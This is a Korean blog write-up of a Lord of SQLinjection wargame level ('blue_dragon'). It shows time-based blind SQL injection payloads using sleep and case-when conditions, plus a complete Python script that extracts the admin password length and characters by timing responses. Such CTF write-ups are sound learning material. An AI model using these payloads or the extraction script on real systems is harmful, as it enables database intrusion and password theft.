아우 이번에도 addslashes 함수에 걸리는 것으로 보아 자동화코드 해서 pw를 모두 구해야한다..
1) id와 pw에 모두 prob, _, . 필터링되어있다.
2) \ 와 ' 도 필터링
3) id=admin에 맞는 pw를 찾아야 한다.
뭔가 이전에 풀었던 문제들과 유사했는데.. 뭘까.. 차이점을 찾아보자
가장 큰 차이점은 일부러 에러를 발생해봤는데 예전에는 query문을 보여주지 않았는데, 이 문제는 query를 보여주고 no hack ~_~ 을 띄운다.
즉, 2번 필터링 조건들은 query가 정상적으로 동작한 후 응답값을 No hack 으로 바꿔버리는 것이다. 필터링 조건은 있지만 query는 정상적으로 동작한다.
그러면 싱글쿼터가 정상 작동을 하니 No Hack ~_~ 이 메시지를 띄우는 시간 지연차이를 볼 수 있을 것 같다.
즉, timebased 가 가능하다는 것
payload : id = admin ' and sleep(10) #
sleep 함수에 대한 필터링이 없기 때문에 timebased가 가능하다!
payload : id = admin ' and (case when 1=1 then sleep(10) else sleep(1) end) #
case when 필터링도 없어서 조건이 참일 때 10초가 걸리는 것을 확인했다.
payload : id = admin ' and (case when 1=2 then sleep(10) else sleep(1) end) #
조건이 거짓일 때 1초가 걸리는 것을 확인했다.
자동화 코드
#패스워드 길이 찾기
def pw_len():
len_num = 0
while 1 :
len_num = len_num + 1
start = time.time()
math.factorial(100000)
value = "admin' and (case when length(pw)={} then sleep(5) else sleep(1) end)#".format(len_num) #injection payload
parmas = {'id': value}
response = requests.get(url,params=parmas, cookies=cookies)
end = time.time()
print(value + f"{end-start:.5f} sec")
return len_num
혼자만 5초 이상 지연이 발생했다. 길이는 8 byte
def pw_real(len_num):
pw=''
for i in range(1,len_num+1):
print(i,"번째 검색 중")
for j in range(46, 122): #아스키코드값 48번부터 122번
start = time.time() #시작시간
math.factorial(100000)
value = "admin' and (case when ascii(substr(pw,{},1))={} then sleep(5) else sleep(1) end)#".format(i,j) #injection payload
parmas = {'id':value}
response = requests.get(url, params=parmas, cookies=cookies)
end = time.time() #종료시간
take_time = end - start #소요시간
print(value + " time : " + str(take_time))
#print("email: ", j)
if take_time >5 and take_time<10: #소요시간 5초 이상 10초 미만
pw = pw + chr(j) #chr(): 아스키코드값 -> 문자
print("password : ", pw)
break
return pw
시작은 좀..많이 걸리지만... 잘 나온다!
전체 코드
#LOS blue_dragon
import math
import time
import requests
url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값
#패스워드 길이 찾기
def pw_len():
len_num = 0
while 1 :
len_num = len_num + 1
start = time.time()
math.factorial(100000)
value = "admin' and (case when length(pw)={} then sleep(5) else sleep(1) end)#".format(len_num) #injection payload
parmas = {'id': value}
response = requests.get(url,params=parmas, cookies=cookies)
end = time.time()
print(value + f"{end-start:.5f} sec")
return len_num
#패스워드 찾기
def pw_real(len_num):
pw=''
for i in range(1,len_num+1):
print(i,"번째 검색 중")
for j in range(46, 122):
start = time.time()
math.factorial(100000)
value = "admin' and (case when ascii(substr(pw,{},1))={} then sleep(5) else sleep(1) end)#".format(i,j) #injection payload
parmas = {'id':value}
response = requests.get(url, params=parmas, cookies=cookies)
end = time.time()
take_time = end - start
print(value + " time : " + str(take_time))
#print("email: ", j)
if take_time >5 and take_time<10:
pw = pw + chr(j)
print("password : ", pw)
break
return pw
pw_real(pw_len())
solve!!!!!!!!!!
'WEB > Lord of SQLinjection' 카테고리의 다른 글
[LOS] step30. ouroboros 풀이 (0) | 2023.07.05 |
---|---|
[LOS] step28. FRANKENSTEIN 풀이 (0) | 2023.07.03 |
[LOS] step26. red_dragon 풀이 (0) | 2023.06.22 |
[LOS] step25. green_dragon 풀이 (0) | 2023.06.21 |
[LOS] step24. evil_wizard 풀이 (0) | 2023.06.21 |